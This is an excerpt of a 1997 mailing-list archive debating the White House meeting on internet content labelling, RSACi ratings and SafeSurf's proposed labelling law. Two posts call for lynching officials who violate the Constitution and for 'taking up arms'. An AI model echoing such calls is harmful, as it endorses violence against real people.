>   and Ziff-Davis. I'm told that the White House wants to qualify as a 
>   "news site" -- even though the information there is rarely clear and
>   certainly not objective.)

I hope they'll be including Ian Goddard's site with all its TWA 800 info
and reporting of other government activities. 
(http://www.erols.com/igoddard/journal.htm)

After all, he was credited as a reporter by Paris Match for his work with 
Pierre prior to the famous press conference last year.

They wouldn't be contemplating licensing of journalists, would they.

DCF

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From jad at dsddhc.com  Wed Jul 16 12:36:00 1997
From: jad at dsddhc.com (John Deters)
Date: Thu, 17 Jul 1997 03:36:00 +0800
Subject: White House "kinder, gentler"-CDA/censor empowerment meeting
In-Reply-To: 
Message-ID: <3.0.1.32.19970716135354.00ae5210@labg30>



At 08:03 AM 7/16/97 -0700, you wrote:
>I can only conclude that because Mr. Finkelstein does not live inside the
>Beltway, we cannot expect him to realize that it is always necessary to
>remain players in the game -- even if it means giving up fundamental
>liberties in the process. 

Declan,

I think you made a phrasing error here.  Perhaps you meant to say that you
think it, "prudent to hold your tongue when speaking to the White House if
you want a gold-engraved invitation back."  To some people, it read like
you were saying "give up fundamental liberties to free speech in order to
'protect the children.'"  

Either way, there's not much difference there:  political speech MUST
remain the 'most protected of all', and if someone is afraid of speaking
their mind during a debate, then we've all lost.

However, I think you've missed the ACLU point of NOT "playing the game".
They're not trying to get on (or stay on) the short invitation list to
whatever dog-n-pony show the White House trots out next.  Their concern is
for the Constitution, that it be followed BY EVERYONE, and that it doesn't
get trampled completely by bad laws written by ignorant lawmakers.  When
the ACLU was not "invited" to a meeting where the entire purpose seems be
that of passing another bad law to circumvent the first amendment without
pissing off the same ACLU, don't you agree that perhaps the White House
made a tactical error?

IMHO, the ACLU should be a part of the lawmaking *process*.  Rather than
passing bad laws and checking for their constitutionality on the back end
by people desperate enough to gamble on the outcome of a long, expensive
legal process, I think we'd all be a lot better off checking for
constituonal laws before we pass them at all.  According to the
Constitution, that's the President's job (it's what he said when he took
the oath), but we all know that he only sees his job to be that of "the
biggest congressman of all, gotta follow the polls of the whole nation."

Perhaps the "three strikes and you're out" rule could apply to Congress:
if you vote for three laws that are overturned by the Supreme Court as
unconstitutional, you go to jail for 25 years to life, no parole.  Debate
the new laws all you want, but when it comes down to casting your vote,
you'd better be certain you're not violating the Constitution.  

We need more accountability on the front end of the legal process, because
the average among us can't afford to gamble on the back end.

John
--
J. Deters "Don't think of Windows programs as spaghetti code.  Think
          of them as 'Long sticky pasta objects in OLE sauce'."
+--------------------------------------------------------------------+
| NET:   mailto:jad at dsddhc.com (work)   mailto:jad at pclink.com (home) |
| PSTN:  1 612 375 3116 (work)          1 612 894 8507 (home)        |
| ICBM:  44^58'36"N by 93^16'27"W Elev. ~=290m (work)                |
| For my public key, send mail with the exact subject line of:       |
| Subject: get pgp key                                               |
+--------------------------------------------------------------------+






From jad at dsddhc.com  Wed Jul 16 12:52:33 1997
From: jad at dsddhc.com (John Deters)
Date: Thu, 17 Jul 1997 03:52:33 +0800
Subject: "The Failure to Do Your Job" amendment (was Re: White House ...)
Message-ID: <3.0.1.32.19970716141513.00ae82f0@labg30>



Please forgive me for following up to my own posting, but I just realized
how close I was to a solution:

A Constitutional amendment that would call for the impeachment of the
President for failing to veto any three bills that are overturned by the
Supreme Court on Constitutional grounds.

Call it "The Failure to Do Your Job" amendment, or the "For Violating Your
Oath" amendment.  Maybe include a clause that stipulates the ex-President
must also return any salary earned during his or her tenure.

John
--
J. Deters "Don't think of Windows programs as spaghetti code.  Think
          of them as 'Long sticky pasta objects in OLE sauce'."
+--------------------------------------------------------------------+
| NET:   mailto:jad at dsddhc.com (work)   mailto:jad at pclink.com (home) |
| PSTN:  1 612 375 3116 (work)          1 612 894 8507 (home)        |
| ICBM:  44^58'36"N by 93^16'27"W Elev. ~=290m (work)                |
| For my public key, send mail with the exact subject line of:       |
| Subject: get pgp key                                               |
+--------------------------------------------------------------------+






From mclow at owl.csusm.edu  Wed Jul 16 12:55:37 1997
From: mclow at owl.csusm.edu (Marshall Clow)
Date: Thu, 17 Jul 1997 03:55:37 +0800
Subject: SPA statement and RSAC release
In-Reply-To: 
Message-ID: 



A press release forwarded by Declan wrote:
>  "Understanding its responsibility, the software industry several years ago
>helped establish a process of self-regulation and content ratings through the
>Recreational Software Advisory Council (RSAC).  Today, RSAC, through its
>Internet ratings system -- RSACi -- has assigned objective content labels to
>more than 35,000 online sites in just 12 months.

I just read yesterday in the WEBONOMICS STORIES Newsletter:

> The first sentence in WEBONOMICS is: "New sites on the World Wide Web
> have been cropping up at the rate of one per minute." I'm pleased to
> report that this furious pace has continued -- almost exactly. Network
> Solutions Inc., the Virginia-based company that registers domain name
> addresses for U.S. Web sites, says that it had registered a total of
> 818,000 addresses by March 1997, up from 246,000 a year earlier. That's
> 572,000 new Web sites in a year, or 1,567 per day, or 65 per hour, or
> 1.08 per minute!


Taking these two statements together, the RSACi people have managed,
in the last 12 months, to rate just over 6% of the _new_ web sites in
the last year.

-- Marshall

Marshall Clow     Aladdin Systems   

"In Washington DC, officials from the White House, federal agencies and
Congress say regulations may be necessary to promote a free-market
system." --  CommunicationsWeek International April 21, 1997







From whgiii at amaranth.com  Wed Jul 16 13:14:38 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Thu, 17 Jul 1997 04:14:38 +0800
Subject: The Censorware Summit: A Preview, from The Netly News
In-Reply-To: 
Message-ID: <199707161913.OAA25443@mailhub.amaranth.com>



X-Mailer: MR/2 Internet Cruiser Edition for OS/2 v1.29i b27 







From shamrock at netcom.com  Wed Jul 16 13:29:26 1997
From: shamrock at netcom.com (Lucky Green)
Date: Thu, 17 Jul 1997 04:29:26 +0800
Subject: Attorneys: RSA patent invalid
Message-ID: 



In a just published article in CyberLaw, patent attorneys Patrick Flinn 
and James Jordan rise serious questions about the validity of the RSA 
patent in the US. The authors conclude:

> Due largely to luck, bluster, and the naiveti of potential competitors, 
the owner of United States Patent No. 4,405,829 has enjoyed a virtual 
monopoly on all uses of the RSA Algorithm. However, a careful scrutiny of 
the RSA Patent claims, and other details of its disclosure and 
prosecution, reveal both significant limits to the scope of the patent 
and material questions regarding its validity.

The full article can be found at http://www.cyberlaw.com/rsa.html


-- Lucky Green  PGP encrypted mail preferred






From whgiii at amaranth.com  Wed Jul 16 13:36:47 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Thu, 17 Jul 1997 04:36:47 +0800
Subject: "The Failure to Do Your Job" amendment (was Re: White House ...)
In-Reply-To: <3.0.1.32.19970716141513.00ae82f0@labg30>
Message-ID: <199707162010.PAA26244@mailhub.amaranth.com>



X-Mailer: MR/2 Internet Cruiser Edition for OS/2 v1.29i b27 







From mctaylor at mta.ca  Wed Jul 16 13:48:25 1997
From: mctaylor at mta.ca (Michael C Taylor)
Date: Thu, 17 Jul 1997 04:48:25 +0800
Subject: SPA statement and RSAC release
In-Reply-To: 
Message-ID: 



On Wed, 16 Jul 1997, Declan McCullagh wrote:

>   "The software industry recognizes -- and understands -- the legitimate
> concerns of parents, educators, the President and Vice President, legislators
> and other citizens about the content and suitability of many Internet sites for
> our children.  We believe parents should have the opportunity, and readily
> available tools, to monitor -- and block -- objectionable online content.

The WebMuseum, MoMA, Le Photo magazine website, every artist run centre on
the Internet, how do you rate them? 

Nudity? Sex? Violence? 

Just about every gallery would include at least one of these either
directly or with suggestions of. Currently it is not the norm to restrict
gallery viewers to being of the age of majority, why should the online
equalivent have special requirements? 

I think the RSAC's need for RSACnews shows how myoptic their thinking is,
what about online Encyclopedias? Search Engines? Dictonaries? Heath Care,
Sexual Education? Photojournalism? People magazine ("How to undress in
front of your husband" was an photo article I think was published by
People in the 50s in USA)? 

Thank god public libraries didn't censor the books I read when I was less
than 18. I'd go crazy. I learnt a lot of things kids don't talk about in a
small town. Nor did the two university I went to when I less than 18
censor my Internet access. 

--
Michael C. Taylor  







From whgiii at amaranth.com  Wed Jul 16 13:59:46 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Thu, 17 Jul 1997 04:59:46 +0800
Subject: "The Failure to Do Your Job" amendment (was Re: White House ...)
In-Reply-To: <3.0.1.32.19970716141513.00ae82f0@labg30>
Message-ID: <199707162038.PAA26641@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

In <3.0.1.32.19970716141513.00ae82f0 at labg30>, on 07/16/97 
   at 02:15 PM, John Deters  said:


>Please forgive me for following up to my own posting, but I just realized
>how close I was to a solution:

>A Constitutional amendment that would call for the impeachment of the
>President for failing to veto any three bills that are overturned by the
>Supreme Court on Constitutional grounds.

>Call it "The Failure to Do Your Job" amendment, or the "For Violating
>Your Oath" amendment.  Maybe include a clause that stipulates the
>ex-President must also return any salary earned during his or her tenure.

I have a better solution:

Any elected official or govenment employee found to have willfuly violated
the Constitution of the United States of America should be draged to the
capitol steps and promptly lynched.


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From fnorky at geocities.com  Wed Jul 16 14:03:00 1997
From: fnorky at geocities.com (Doug Peterson)
Date: Thu, 17 Jul 1997 05:03:00 +0800
Subject: The Censorware Summit: A Preview, from The Netly News
In-Reply-To: <3.0.2.32.19970716110343.00729aac@netcom10.netcom.com>
Message-ID: <33CD2180.3F90@geocities.com>



Lucky Green wrote:
> 
> At 07:44 AM 7/16/97 -0700, Declan McCullagh wrote:
> >        Stephen Balkam, the head of RSACi, now says he has a solution. He
> >   calls it RSACnews and says that legitimate news sites can use it to
> >   rate just their home pages without having to review each article. Now,
> >   what's a legitimate news site? The Netly News might qualify, but what
> >   about the NAMBLA News Journal? "People who generate firsthand reports
> >   that have been in some ways verified or structured in a way that gives
> >   clear and objective information as possible about events," Balkam
> >   says. "We will be working with the news industry to help us develop a
> >   criteria." (This, presumably, means groups that have signed on as
> >   supporters, including MSNBC, the Wall Street Journal, the Well, CNET
> >   and Ziff-Davis. I'm told that the White House wants to qualify as a
> >   "news site" -- even though the information there is rarely clear and
> >   certainly not objective.)
> 
> I can't remember how RSACi authenticates the tags. I assume they are either
> signed by a CA or not authenticated.
> 
> 1) If the tags are signed by a CA.
> Who operates the root CA? Who will operate the CA that issues RSACnews
> tags, also knows as Online Publishing Licenses.?
> 
> 2) If the tags are not signed by a CA.
> What is someone to prevent from labeling the NAMBLA monthly site,
> "government authorized news site, suitable for all ages"? Just as the
> various GAK proposals do not make sense unless GAK is mandatory, online
> rating systems do not make sense unless "misslabeling" sites will become a
> felony.

Ok, lets say it becomes a US felony to "misslabel" a web site.  How does
that prevent a person in the US from setting up a misslabeled or unlabed
site on a server in another country?  Also, what about person who sets
up
a site that is misslabeled on a server in the US.  Do the feds try to
extridite the person?

I think that we will find that labeling web sites is less workable than
GAK.

Doug






From whgiii at amaranth.com  Wed Jul 16 14:11:26 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Thu, 17 Jul 1997 05:11:26 +0800
Subject: The Censorware Summit: A Preview, from The Netly News
In-Reply-To: 
Message-ID: <199707162038.PAA26638@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

In , on 07/16/97
   at 11:16 AM, Declan McCullagh  said:

>As for Lucky's point #2 -- Yes, I've read drafts of bills that would make
>it a Federal crime to misrate. --Declan

This doesn't sound like the "voluntary" system that the "news" media has
been advertising.

Perhaps they were too busy peddling Toilet Paper & Tampons to report the
most important part of the story: "Clinton Administration wants Mandatory
Rating System for the Internet".

The mechanics of RSACi are really secondary to the fact that the FEDS want
to force them on us.

- --
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html -
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From declan at well.com  Wed Jul 16 14:17:37 1997
From: declan at well.com (Declan McCullagh)
Date: Thu, 17 Jul 1997 05:17:37 +0800
Subject: Censorware empowerment meeting (was satire)
Message-ID: 



Since I seem to have been misunderstood on at least two lists now, let me
forward this. --Declan

---------- Forwarded message ----------
Date: Wed, 16 Jul 1997 12:45:25 -0700 (PDT)
From: Declan McCullagh 
To: Lizard 
Cc: Glenn Hauman , Seth Finkelstein ,
    jseiger at cdt.org, jberman at cdt.org, fight-censorship at vorlon.mit.edu
Subject: Re: White House "kinder, gentler"-CDA/censor empowerment  meeting

Lizard has it right. My post was meant to be satire.

I should have been more clear. In fact, a good friend of mine sent me this
message: 

> Declan, remember how I promised you I'd let you know as soon as I
> thought you'd been in Washington too long, so that you wouldn't turn
> into a beltway hack?
>
> This is the red flag. Get out.

Apologies to all.

In the future I will label all satiric posts as -L18, meaning those who
are under 18 will probably not get the joke. By labeling my posts in this
manner, I can ensure that they will be indexed up by search engines that
will in the future only index properly-labeled pages. I can also ensure
that users of Internet Explorer will remain able to read my scribbings,
since the next version of IE is going to ship with RSACi turned on as a
default. 

I will thus do my part to ensure a childsafe cyberspace, free from
inappropriate material and bad jokes of all kinds.

-Declan


On Wed, 16 Jul 1997, Lizard wrote:

> Um...I think Declan was being humorously sarcastic. (What was that thread a
> few days ago about how irony doesn't work?) What's frightening is that his
> sarcasm comes perilously close -- some might say overlaps -- posts made in
> all apparent sincerity by others.








From fnorky at geocities.com  Wed Jul 16 14:22:05 1997
From: fnorky at geocities.com (Doug Peterson)
Date: Thu, 17 Jul 1997 05:22:05 +0800
Subject: White House "kinder, gentler"-CDA/censor empowerment meeting
In-Reply-To: 
Message-ID: <33CD2D13.1F38@geocities.com>



Declan McCullagh wrote:
> 
> ---------- Forwarded message ----------
> Date: Wed, 16 Jul 1997 00:23:08 -0700 (PDT)
> From: Declan McCullagh 
> To: Seth Finkelstein 
> Cc: jseiger at cdt.org, jberman at cdt.org, fight-censorship at vorlon.mit.edu
> Subject: Re: White House "kinder, gentler"-CDA/censor empowerment meeting
> 
> Below we see an excellent example of the naivete inherent in
> Net-libertarian and cypherpunk writing. Obviously the writer does not
> understand the complexities and challenges of Washington politics. In many
> ways, it is like sausage being made: disgusting to watch, but a process
> that results in the compromises so vital in a healthy democracy.
> 
> Which is why it is inappropriate to criticize the White House's position
> on the CDA. If you speak your mind aloud, you run the risk of being
> marginalized like the ACLU. How can you serve your constituents then?
> Obviously, you can't. So I respectfully suggest that Mr. Finkelstein
> disabuse himself of radical notions like opposing regulation of the
> Internet.
> 
> I can only conclude that because Mr. Finkelstein does not live inside the
> Beltway, we cannot expect him to realize that it is always necessary to
> remain players in the game -- even if it means giving up fundamental
> liberties in the process.
> 
> -Declan
Why?  Why does Mr. Finkelstein need to play be Washington's "game"
rules?
I understand why you need to play by the rules.  As a Washington insider
you are between a rock and a hard place.  If you step outside the rules,
you loose your connections, your influince, and you livelyhood.  (No I
do
not consider being an insider to be bad.  I apreciate the flow of news
that
we might not otherwise get).

For those of us who are outside of the "game" (by choice or otherwise)
it does not make since to play.  Nobody in Washington listens to us (or
that is the way it seems).  To give up those fundamental liberties
simply
hurts us.  Insted we change the system by playing outside of the "game"
(such as writting strong crypto code and giving it away before
Washington
makes that illegal).

-Doug






From declan at well.com  Wed Jul 16 14:24:11 1997
From: declan at well.com (Declan McCullagh)
Date: Thu, 17 Jul 1997 05:24:11 +0800
Subject: Censorware Summit Take II, from The Netly News
Message-ID: 



***********

http://pathfinder.com/netly/opinion/0,1042,1173,00.html

The Netly News (http://netlynews.com)
July 16, 1997

At The Censorware Summit
by Declan McCullagh (declan at well.com)

     If you host a web page or publish online, be
warned: soon your site might become invisible. Search
engines won't index it and web browsers won't show it.
Unless, that is, you agree to attach special labels to
your web pages identifying how violent, sexually
explicit, or inappropriate for kids your site is.

     This was the thrust of today's White House
censorware summit, where President Clinton sat down
with high tech firms and non-profit groups in a
private meeting to talk about pressuring the Net
community to make cyberspace childsafe through labels.
"We need to encourage every Internet site, whether or
not it has material harmful to minors, to rate its
contents," Clinton said after the meeting. Vice
President Gore was there, too, giving a quick
demonstration of how labeling works.

     Spooked by the threat of a revised Communications
Decency Act, high tech firms are seriously backing
labels for the first time. Joining Clinton in coercing
Internet users and businesses to label all their web
pages were Yahoo, Excite, and Lycos. "I threw a
gauntlet to other search engines in today's meeting
saying that collectively we should require a rating
before we index pages," Robert Davis, the president of
Lycos, told me. Translation: if you don't play ball,
and label your site, search engines will ignore you.

     As will future users of Microsoft's Internet
Explorer browser. The next version of IE will default
to displaying only properly labeled web pages,
according to Ken Wasch, the president of the Software
Publishers Association. Since many users won't turn
off that feature to reach unrated sites, many large
web sites now are facing hefty pressure to self-label.

     Other high tech firms rushed to join the
presidential limelight. Netscape promised to join
Microsoft and include label-reading software in the
next version of its browser. America Online's Steve
Case thanked Clinton for "backing industry's efforts
to make cyberspace a safer place." IBM announced a
$100,000 grant to RSACi, a PICS-based rating standard
originally designed for video games but adapted for
the Web. The industry giant also pledges to
incorporate RSACi into future products.

[...]








From nobody at REPLAY.COM  Wed Jul 16 14:47:45 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Thu, 17 Jul 1997 05:47:45 +0800
Subject: White House "kinder, gentler"-CDA
Message-ID: <199707162116.XAA17629@basement.replay.com>



Declan McCullagh wrote:
> Subject: Re: White House "kinder, gentler"-CDA/censor empowerment meeting
> 
> Below we see an excellent example of the naivete inherent in
> Net-libertarian and cypherpunk writing. Obviously the writer does not
> understand the complexities and challenges of Washington politics. In many
> ways, it is like sausage being made: disgusting to watch, but a process
> that results in the compromises so vital in a healthy democracy.

  I don't see Cypherpunks being naieve about the need to compromise in
order for people to live together, but I think Cypherpunks recognize the 
difference between things which are inviolate and those which are not.

  e.g. - A group of people in a liferaft with food and poison.
  Debate over how much each of us can eat from a pool of food held in
common may be open to compromise, but debate over whether any individual
can-or-cannot-or-*must* eat poison to end suffering or "for the good of
the collective" should *not* be open to compromise of the individual's
right to self-determination.

  The problem is that the "solution" to every "problem," in the eyes of
LEA's and the legislature, is to compromise rights and freedoms that 
are guaranteed by the Constitution.
  The problem is that many of the purported "problems" involve people
passing judgement on the interests and actions of others and their
"solution" is to criminalize other's actions on the basis of their own
sense of guilt and shame.
  The problem is that those promoting "compromise" often have an agenda
that is based on a series of compromises leading to complete abrogation 
of the other's position. {A prime example is the "compromise" of making
already-legal crypto "legal" in return for agreeing to criminalizing
other currently legal actions.)

> Which is why it is inappropriate to criticize the White House's position
> on the CDA. If you speak your mind aloud, you run the risk of being
> marginalized like the ACLU. How can you serve your constituents then?

  If you are taking a reasonable, rational stance on issues and are
marginalized or cut out of the loop in order for the government to
disenfranchise your constituents, then you can serve your constituents
by taking up arms against the criminals who are subverting the will
of the people.

> I can only conclude that because Mr. Finkelstein does not live inside the
> Beltway, we cannot expect him to realize that it is always necessary to
> remain players in the game -- even if it means giving up fundamental
> liberties in the process.

  Duh... I certainly hope you are talking about giving up your *own*
fundamental liberties to remain in "the game" (which you have every
right to do). However, if you are indeed representing constituents
(or readers), then you are also giving up their liberties, as well,
to a certain extent.
  I think you need to do some serious thinking about the difference
between compromising in order to defend a position and compromising
in order to "remain a player in the game."
  If you are not strong enough to defend a position of principle
and survive, then you should not be the one "in the game" defending
that position. The ACLU and the NRA "marginalize" and "compromise"
themselves, it is not the government, the public, or their members
"doing it *to*" them.

  As far as I am concerned, what compromises you make in order to
remain in a position to report on the beltway is your own decision
to make. I just hope you have the wit and wisdom to walk with the
Devil only as far as the bridge, because he always burns it behind
him, and few make it back.

TruthMonger







From jad at dsddhc.com  Wed Jul 16 14:54:36 1997
From: jad at dsddhc.com (John Deters)
Date: Thu, 17 Jul 1997 05:54:36 +0800
Subject: White House "kinder, gentler"-CDA/censor empowerment meeting
Message-ID: <3.0.1.32.19970716160904.00ac92a0@labg30>



This message was also To: Declan McCullagh , but
apparently algebra.com eats messages with more than one To: recipient.

From: John Deters 
Subject: Re: White House "kinder, gentler"-CDA/censor empowerment meeting
In-Reply-To: 

At 08:03 AM 7/16/97 -0700, you [Declan McCullagh] wrote:
>I can only conclude that because Mr. Finkelstein does not live inside the
>Beltway, we cannot expect him to realize that it is always necessary to
>remain players in the game -- even if it means giving up fundamental
>liberties in the process. 

Declan,

I think you made a phrasing error here.  Perhaps you meant to say that you
think it, "prudent to hold your tongue when speaking to the White House if
you want a gold-engraved invitation back."  To some people, it read like
you were saying "give up fundamental liberties to free speech in order to
'protect the children.'"  

Either way, there's not much difference there:  political speech MUST
remain the 'most protected of all', and if someone is afraid of speaking
their mind during a debate, then we've all lost.

However, I think you've missed the ACLU point of NOT "playing the game".
They're not trying to get on (or stay on) the short invitation list to
whatever dog-n-pony show the White House trots out next.  Their concern is
for the Constitution, that it be followed BY EVERYONE, and that it doesn't
get trampled completely by bad laws written by ignorant lawmakers.  When
the ACLU was not "invited" to a meeting where the entire purpose seems be
that of passing another bad law to circumvent the first amendment without
pissing off the same ACLU, don't you agree that perhaps the White House
made a tactical error?

IMHO, the ACLU should be a part of the lawmaking *process*.  Rather than
passing bad laws and checking for their constitutionality on the back end
by people desperate enough to gamble on the outcome of a long, expensive
legal process, I think we'd all be a lot better off checking for
constituonal laws before we pass them at all.  According to the
Constitution, that's the President's job (it's what he said when he took
the oath), but we all know that he only sees his job to be that of "the
biggest congressman of all, gotta follow the polls of the whole nation."

Perhaps the "three strikes and you're out" rule could apply to Congress:
if you vote for three laws that are overturned by the Supreme Court as
unconstitutional, you go to jail for 25 years to life, no parole.  Debate
the new laws all you want, but when it comes down to casting your vote,
you'd better be certain you're not violating the Constitution.  

We need more accountability on the front end of the legal process, because
the average among us can't afford to gamble on the back end.

John
--
J. Deters "Don't think of Windows programs as spaghetti code.  Think
          of them as 'Long sticky pasta objects in OLE sauce'."
+--------------------------------------------------------------------+
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| PSTN:  1 612 375 3116 (work)          1 612 894 8507 (home)        |
| ICBM:  44^58'36"N by 93^16'27"W Elev. ~=290m (work)                |
| For my public key, send mail with the exact subject line of:       |
| Subject: get pgp key                                               |
+--------------------------------------------------------------------+






From declan at well.com  Wed Jul 16 15:04:20 1997
From: declan at well.com (Declan McCullagh)
Date: Thu, 17 Jul 1997 06:04:20 +0800
Subject: Rep. Rick White on White House censorware summit (fwd)
Message-ID: 





---------- Forwarded message ----------
Date: Wed, 16 Jul 1997 14:32:17 -0700 (PDT)
From: Declan McCullagh 
To: fight-censorship at vorlon.mit.edu
Subject: Rep. Rick White on White House censorware summit


FOR IMMEDIATE RELEASE        CONTACT: Connie Correll
July 16, 1997               (202) 225-1201 (O)/ (202) 237-2136 (H)
							    e-mail: connie.correll at mail.house.gov

WHITE ATTENDS WHITE HOUSE CONFERENCE
QUESTIONS GOVERNMENT SOLUTION

(Washington, D.C.)  --  Congressman Rick White (R-First District) today
made clear his desire to protect kids who use the Internet but expressed
concern that the federal government can solve the problem.  White's
remarks were made during his participation in a closed meeting at the
White House that focused on making the Internet family friendly.

"I have four children who love to use the Net and there is no question
we need to protect our kids from harmful material on the Internet.
Today's meeting was a step in the right direction," said White.  "But as
we evaluate the next step we need to make sure we don't lure ourselves
into a false sense of security.  No matter what we do in the United
States it won't affect sites developed in Amsterdam or Bangkok.  That's
why I'm skeptical that the federal government can solve this problem.
The real solution will come from the smart people in the private
sector."

White today praised representatives of the software community, the
Administration as well as family and civil liberty groups for their
efforts to develop a comprehensive solution for a family friendly
Internet.  He encouraged the development of filtering software but
expressed concern that a government based solution would be too
restrictive and regulatory. 

White has long been a leader in keeping the Internet free from federal
regulation.  As a member of the select committee that developed the
final telecommunications reform bill last year, White offered a
compromise proposal to the CDA that would protect kids. The compromise
included a proposal, defeated by one vote, to replace the "indecency"
standard with the "harmful to minors" standard. Other provisions of
White's compromise became part of the final bill. Those provisions
included: 1) developing strong, effective laws that target wrongdoers;
2) using parental empowerment software to screen material; and 3)
providing incentives for industry to develop new screening technologies.

In March of 1996 White formed the Congressional Internet Caucus (IC) to
help educate Members of Congress about the Internet. White believes
through the work of the Internet Caucus and with the help of the
Internet community, Capitol Hill has gained a better understanding of
the Internet.








From gbroiles at netbox.com  Wed Jul 16 15:21:27 1997
From: gbroiles at netbox.com (Greg Broiles)
Date: Thu, 17 Jul 1997 06:21:27 +0800
Subject: The Censorware Summit: A Preview, from The Netly News
In-Reply-To: 
Message-ID: <3.0.3.32.19970716150056.009d49f0@mail.io.com>



At 11:03 AM 7/16/97 -0700, Lucky wrote:
>I can't remember how RSACi authenticates the tags. I assume they are either
>signed by a CA or not authenticated.
>[...]
>
>2) If the tags are not signed by a CA.
>What is someone to prevent from labeling the NAMBLA monthly site,
>"government authorized news site, suitable for all ages"?

In addition to the criminal penalties which have been discussed, I think
it's possible that a mis-labeller would face a civil suit for trademark
violation or unfair competition - it's also possible to imagine a claim
that the mis-labelling is fraud (particularly if the mis-labelled site
charges for access), which can have civil and criminal penalties. (wire
fraud is also a federal RICO predicate.) 

Then again, if lots of people did it, it'd be awfully tough to sue them all. 


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles at netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.






From declan at well.com  Wed Jul 16 15:21:46 1997
From: declan at well.com (Declan McCullagh)
Date: Thu, 17 Jul 1997 06:21:46 +0800
Subject: The Real Plan: Making the Net Safe for Censorship
Message-ID: 





---------- Forwarded message ----------
Date: Wed, 16 Jul 1997 14:16:47 -0500
From: Marc Rotenberg 
To: fight-censorship at vorlon.mit.edu
Subject: The Real Plan: Making the Net Safe for Censorship


Here is an example of a proposal being presented
at the White House today.

The minds boggles at the number of unconstitutional
provisions contained in such a brief text.

Never has a freedom won in a Supreme Court decision
been given up so quickly.

Marc Rotenberg
EPIC.

----------

http://www.safesurf.com/online.htm

The Online Cooperative Publishing Act
                                     (SafeSurf's Proposal for a Safe
Internet Without Censorship)


       Any law that seeks to regulate the Internet must first recognize the
uniqueness of the medium.  The Internet is not the print media or the
       broadcast industry.  It is also not another form of phone
conversation or a 900 number calling system.  Instead, the Internet is the
       manifestation of humankind's quest for limitless two-way interaction
with thought.  The hyper-text layout allows us to change topics on
       a whim, travel to distance places, or gather world opinion on a
subject in a matter of minutes. 

       This distinctive nature of the Internet must be protected and even
promoted by any legislation that claims to be fair to this medium.  The
       interaction between the one receiving data and the one publishing it
are where the core of the law should focus.  Both sides have rights,
       the publisher has the First Amendment and the receiver has the right
to be secure from harm in his home.  Proper Internet law should
       encourage a cooperative transfer of ideas in the form of data.  (It
should be noted that it was the universal acceptance of basic rules of
       cooperation, rather than anarchy, that built the Internet. )

       Any law that attempts to give one side or the other is given an
unreasonable burden in conducting the transfer of data is doomed to
       failure.  The CDA was too burdensome on the publisher.  Its goal was
to stop the flow of data, rather than to regulate it for the benefit
       of all parties. 

       On the other hand, without a proper law, parents can purchase and
activate measures to protect their children from adult material and still
       not feel secure in their homes from unwanted material.  This is
because negligent publishing of data eventually allows material that can
       harm the child to enter the home.  Once this material is experienced
by the child, its damage is done.  There is no "oops" factor, no way
       to undo the unwanted intrusion into a child's innocence. 

       Most importantly, any Internet law must not censor thought.  It may
regulate the labeling on the packaging but never the content. 

       With the goal of achieving a greater spirit of cooperation between
the publisher and the receiver of online data, we propose the Online
       Cooperative Publishing Act. 

       It shall contain the following provisions:

       1.      The right to be able to identify the adult rating of online
content before it enters one's home shall be established.  This shall be a
       civil right giving the violated person or family the presumption in
a suit against negligent publishers.

       2.      Negligent publishing of data shall be defined as placing
adult oriented material on the Internet in such a way or in such a location
       that it prevents its rating from being known.

       3.      A rating shall be defined as a PICS compatible label that
identifies degrees of adult content in a way that can be understood by
       computer filtering systems and is issued by a ratings service that
has a minimum of 5,000 documented individuals using its system to
       mark their data.

       4.      A publisher is defined as anyone who places computer data
where it can be accessed by the general public without the use of a
       credit card or other secure verified ID or password given out only
to adults.  Content that can be only be accessed by the use credit cards
       or other secure verified IDs is not subject to this law.

       5.      The code used to surround content published on the Internet
shall be defined as packaging.  All government identification
       requirements shall be limited to the code of the packaging.  Nothing
in this law shall be construed to require any altering or censorship
       of the content.

       6.      Three types of online publishing shall be defined:

             a) Publishers who accurately identify their data with a
recognized labeling system. 

             These publishers shall be considered to have satisfied the
labeling requirement of the law.  The right to publish shall be
             completely protected for those who accurately label their
material.  They shall be protected from all civil suits that argue
             negligent posting of data.  Only grossly mislabeled material
can be prosecuted.  (Note: This is not a protection for
             obscene material.  This law will offer no protection for
obscene material.)

             b) Publishers who mislabel their data to the degree that it
enables a minor using a label filtering
             system to gain access to harmful material.

             Data shall be considered to be mislabeled if it is posted in a
newsgroup, directory or other joint area that has been labeled
             as free from material harmful to minors.  Tampering with
another's label shall be crime.

             These publishers may be criminally prosecuted for subverting a
rating system to entice children to harmful material.  The
             mislabeling must be to the extent that it is completely
unreasonable to accept it as accurate.  Only ratings that are too
             lenient can be prosecuted.

             Posting unlabeled adult material to an area that has declared
itself safe for children or tampering with another's label shall
             be a severe criminal assault on the rights of the receiver.

             Sending unsolicited email to a minor that contains
pornographic material or an invitation to a pornographic Web Site, shall
             be considered negligent enticement and may be criminally
prosecuted.  A bulk email service sending pornographic email
             must show that it took reasonable measures to insure that
every recipient was an adult.  (Example: The addresses used
             were from the membership list of Adult Check or other such
adult verification services.)

             c) Publishers who do not label their data at all.

             Negligence in the absence of damages shall not be a criminal
offense (but it may be a civil violation of the rights of the
             receivers of that data) unless the data is deemed to be
harmful to minors.  Then the publisher will be prosecuted for
             negligence.

             These publishers may be sued in civil court by any parent who
feels their children were harmed by the data negligently
             presented.  The parents shall be given presumption in all
cases and do not have to prove the data actually produced harm
             to their child only that the material reasonably could be
considered to have needed a label warning to protect children.



         7.      Internet Service Providers are considered publishers of
